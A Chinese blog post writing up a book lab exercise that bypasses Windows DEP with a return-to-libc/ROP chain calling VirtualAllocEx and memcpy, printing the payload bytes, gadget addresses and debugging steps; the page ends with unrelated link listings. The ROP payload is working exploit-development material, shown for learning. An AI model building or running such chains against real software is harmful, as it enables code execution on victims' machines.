RET2LIBC 练习(3) -- VIRTUALALLOC
国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析。
利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然后在复制shellcode,比修改内存属性要麻烦一点点。
VirtualAlloc函数说明:

lpAddress: 申请内存的起始地址,实验选了0x00030000
dwSize: 申请的内存大小,实验选择0XFF,根据shellcode的大小确定
flAllocationType: 申请内存的类型,固定0x00001000
flProtect: 申请内存的属性,可读可写可执行,固定0x00000040
一样先用\x90覆盖掉EIP

现在的ebp和eip都被覆盖了,所以先修正ebp,用push esp; pop ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90"
继续走

此时的esp=ebp+8,找到VirtualAlloc函数的入口点

确定了ebp以后,VirtualAlloc四个参数的位置就很好确定了,四个参数都是可以确定的值,所以堆栈现在可以这样布置
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
直接将eip指向VirtualAllocEx函数的入口点,查看堆栈看到参数的放置是没有问题的

接下来执行VirtualAllocEx函数,看到eax=0x00003000,表示函数执行成功,但执行完VirtualAllocEx以后程序的控制权需要pop ebp; retn 10以后才能拿到

执行完retn 10以后的堆栈情况

看到ebp又被破坏了,先不管,查看memcpy函数再决定是否需要修正ebp,void *memcpy(void *dest, const void *src, size_t n);从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中,所以只需要动态确定src的地址即可,看到又用了ebp,所以还得修正ebp

是不是接下来一条指令直接push esp; pop ebp; 就可以了?经过我自己的调试发现这样在程序的后续走的流程中堆栈会出问题,会丧失对程序的控制权,因为memcpy参数填充的问题,如果直接push了源复制地址(这里可以选择esp),在做一些操作的话是不可行的,所以最好的方法是push esp; jmp eax; 这样可以不丢失程序的控制权,那么可以找到一条pop eax; retn 的指令,先保存一个eax的值,这个eax的值,就是memcpy的起始地址,然后在修正ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\x91\x90\x90\x90"
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
执行完以后的堆栈情况

好,这时候看ebp的值,和mencpy所需要的参数,红框范围是memcpy的三个参数,第一个参数和第三个参数都是固定的,第二个参数是复制的起始地址,这里直接写进esp的值即可,所以还需要pop; pop; push esp; pop;pop ;retn 指令,很显然这种指令不好找也确实没有找到,所以选择一个pop; retn,这样可以使esp来到0x0012ff00的位置,然后下一步直接push esp; jmp eax,书中的eax指向的地址是pop pop retn,在将memcpy的起始地址放到第一个参数的下面4个字节,使得程序可以将memcpy的起始地址弹入eip,写文章的时候我才想到将eax的值直接放memcpy的起始地址也应该是可以的,经测试确实没有问题

"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x9e\x37\xfa\x77" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xd2\x97\xf8\x77" // pop ebx; retn
"\x92\x90\x90\x90"
"\x00\x00\x03\x00" //0x00030000
"\xc6\xc6\xeb\x77"
"\xff\x00\x00\x00"
"\xb8\x1d\x92\x7c" //memcpy
Tips: 这个实验做起来还是很不错的,rop链的构造有点复杂和技巧,需要自己的一步一步手动的去调试,至于书上最后放了一些填充字符保证shellcode的正常执行,这个因机器而异的感觉,因为rop链里面的地址不一样,导致我的机器调试时并不需要加填充字符
RET2LIBC 练习(3) -- VIRTUALALLOC的更多相关文章
- OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...
- OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...
- Ret2Libc 练习(1) -- ZwSetInformationProcess
花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...
- paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用.
paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用. #----为什么要设计堆栈,它有什么独特的用途? 为了性能 .... 堆比栈的性能 也有的说法为了编程容易...这个是错误的 ...
- 【Windows核心编程】VirtualAlloc 例子
// VirtualAlloc.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #in ...
- 关于内存的5个函数(malloc,VirtualAlloc,GlobalAlloc,LocalAlloc,HeapAlloc)
VirtualAlloc 该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,如果用于内存分配的话,并且分配类型未指定MEM_RESET,则系统将自动设置为0 一次分配 1PAGE 以上的 R ...
- c/c++关于内存分配的知识(非常详细的比较,且VirtualAlloc分配内直接在进程的地址空间中保留一快内存)
一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈. 2.堆区(heap) — 一 ...
- Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc)
Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc) 来源:http://blog.csdn.net/chunyexiyu/article/ ...
- Windows API 之 VirtualAlloc
Reserves, commits, or changes the state of a region of pages in the virtual address space of the cal ...
随机推荐
- 《SharePoint 2013 应用开发实战》目录
博客地址:http://blog.csdn.net/FoxDave 第 1 章 1 ◄SharePoint概述► 1 1.1 SharePoint的发展历程 1 1.1.1 Sha ...
- oracle:ORACLE 实际返回的行数超出请求的行数
写的存储过程,执行后一直报实际返回的行数超出请求的行数的错误. 原因:select prdt_id into prdt_id from.... 两个变量名称相同造成的..哎 第一个变量换成大写..问 ...
- linux下查看进程状态
1.查看进程的启动时间和执行时间 使用 ps 命令 :#ps -A -opid,stime,etime,args $ ps -A -opid,stime,etime,args PID STIME EL ...
- windows、ubuntu下eclipse搭建java、Python环境问题总结
前两篇博文分别讲述了如何在windows.ubuntu下用eclipse搭建java.python环境,下面就针对本人遇到的问题做一个总结. 一.windows下关于java环境变量JAVA_HOME ...
- 线程的Abort方法有感
今天看CSDN上一个很老的帖子,有个人说Thread.Abort()方法调用之后一定会抛出异常,我对这个有点疑问. 于是自己做了一个测试demo,来研究Abort抛出异常的时机.废话少说,直接上代码: ...
- iOS学习之SKTagView的使用
SKTagView是一款支持自动布局的标签tag. 特性: -流式展示标签 -可以配置标签的颜色.事件.间隔.外边距等 -支持Auto layout -可以在UITableViewCell中良好展示 ...
- [解决方案] pythonchallenge level 5
l5=requests.get("http://www.pythonchallenge.com/pc/def/banner.p") body = l5.text lists = p ...
- HTTP简介
HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议.. HT ...
- strlen 字符型数组和字符数组 sizeof和strlen的区别 cin.get(input,Arsize)
strlenstrlen所作的仅仅是一个计数器的工作,它从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'\0'为止,然后返回计数器值 ...
- ThinkPHP_基础(1)目录结构
(说明:文中的颜色一一对应) 目录结构 www WEB部署目录(或者子目录) ├─index.php 入口文件 ├─README.md README文件 ├─composer.json Compose ...